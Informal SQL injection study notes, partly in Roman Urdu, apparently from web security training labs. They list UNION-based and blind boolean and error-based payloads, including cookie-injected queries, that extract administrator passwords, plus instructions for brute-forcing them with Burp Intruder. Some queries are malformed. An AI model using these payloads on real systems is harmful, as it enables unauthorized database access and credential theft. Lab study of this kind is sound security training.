lab 9
'UNION SELECT table_name,NULL FROM information_schema.tables--
table name= users_urlruf
'UNION SELECT column_name,NULL FROM information_schema.columns WHERE
table_name='users_urlruf'--
columns name = username_nnisdy,password_bfpusa
'UNION SELECT username_nnisdy,password_bfpusa FROM users_urlruf--
administrator
qcqfoj23tsb06cu58aj8
lab 10
'UNION SELECT table_name,NULL FROM all_tables--
table name = USERS_YSIVOV
'UNION SELECT column_name,NULL FROM all_tab_columns WHERE
table_name='USERS_YSIVOV'--
columns name USERNAME_QMEHDS,PASSWORD_IYRWNW
administrator
dfosmjft9nablg2930r5
lab# retrieve in single coloumn concat
'UNION SELECT NULL,Version()
'UNION SELECT NULL,username||password From users--
administratoro8xbuhav8vyuhz0p3edu
BLIND SQL # 1
CHECK IF USERS EXISST IN THE DB
Cookie: TrackingId=mr9hP1qWjicm3Zr9'AND (Select 'X' From users LIMIT 1' )='X'--';
session=YcKdLVdCbojin7GijaoliwtNyqjR1ouX
CHECK IF ADMINISTRATOR EXISTS IN USERS TABLE
Cookie: TrackingId=mr9hP1qWjicm3Zr9'AND (Select username From users WHERE username
='administrator' )='administrator'--'; session=YcKdLVdCbojin7GijaoliwtNyqjR1ouX
CHECK THE LENTH OF PASSWORD (IN THIS CASE THE LENGTH IS 20 DIGITS LONG)
Cookie: TrackingId=mr9hP1qWjicm3Zr9'AND (Select username From users WHERE username
='administrator' AND LENGTH (password)>20)='administrator'--';
BRUTE FORCE KRKE BHI CHECK KRSKTY INTRUDER M DALKE ATACK BRUTE FORCE NUMBRS FROM 0
TO 50 LENGHT JAHAN SE CHANGE UTNY NUMBER
CLUSTER BOMB PAYLOAD DALEGA Q K 2 PAYLOAD SEET HONGAY , 1 USPE DALEGA JO 1 BY 1
NUMBERS CHANGE HONGAY 1 SE 20 TAK AUTO AUR DUSRA USPE DALEGA JO A SE Z AUR 0-9 KA
BRUTE FORCE HOGA
LAB#12
BLIND ERROR BASED SQL I WITH CONDITIONAL ERROR
CHECK IF THE PARAMETER IS VULNERABALE IF ERROR 500 IT MEANS ITS DIFFERRENT DB LIKE
ORACLE
'|| (SELECT '') || '
FOR IT USES FROM CLAUSE ORACLE
'|| (SELECT '' FROM DUAL(DUAL IS A DUMY TABLE IN ORACLE) ) || '
NOW CHECK IF THE USERS TABLE EXISTS IN A DB TABLE
'|| (SELECT '' FROM USERS WHERE ROWNUM = 1 ) ||' ROWNUM=1 USERS TABLE KI PEHLI
ROW SE DATA LAYGI AUR CNFRM KRDEGI K USERS TABLE XIST KRTA H
NOW CHECK IF THE ADMINISTRATOR EXISTS IN USERS TABLE OR NOT
'|| (SELECT '' FROM USERS WHERE USERNAME='ADMINISTRATOR') ||'
IT WONT WORK BECAUSE WHEATHER ITS A TRUE CONDITION OR FALSE THE RESPONSE OF BOTH
WILL BE 200 OK SO WE WILL DO ANOTHER THING WHICH IS
'|| (SELECT CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE '' END FROM DUAL) ||' ==> 1=0
IS FALSE SO IT WOULD GO TO THE NEXT PART OF ELSE SO IT SHOULD WORK BUT IF 1=1 THEN
ITS TRUE AND SHOULD GIVE 500 EROOR WHICH MEANS QUERY RUNS CORRECTLY
TO_CHAR IS USED TO CONVERT NUMBER INTO STRING TO FORMAT
NOW ENTER THIS QUERY
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE'' END FROM USERS WHERE
USERNAME='ADMINISTRATOR')||'
THIS QUERY WILL RUN THE FROM PART FIRST IF THE ADMINISTRATOR EXISTS THEN IT WILL GO
TO SELECT QUERY WHICH SAYS 1=1 WHICH IS ALWYAS TRUE AFTERWARDS IT WILL GO O TO_CHAR
QUERY
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE'' END FROM USERS WHERE
USERNAME='AKDBKSDJB')||'
THIS QUERY WILL GIVE 200 RESPONSE BECAUSE IT CHECKS THERE IS NO USERNAME OF AKAKKK
SO THE SELECT QUERY DOESNT RUN BECAUSE IT STOPS THERE.
NOW DETERMINE THE LENTGH OF PASSWORD
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE'' END FROM USERS WHERE
USERNAME='ADMINISTRATOR' AND LENGTH PASSWORD>1)||'
now USE SNIPER ATTACK OF NUMBERS FROM 1 TO 50 SEQUENTIALS
20 IS THERE
NOW CHECK FR EACH ALPHABET
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE'' END FROM users WHERE
username='administrator' AND SUBSTR(password,1,1)='A')||'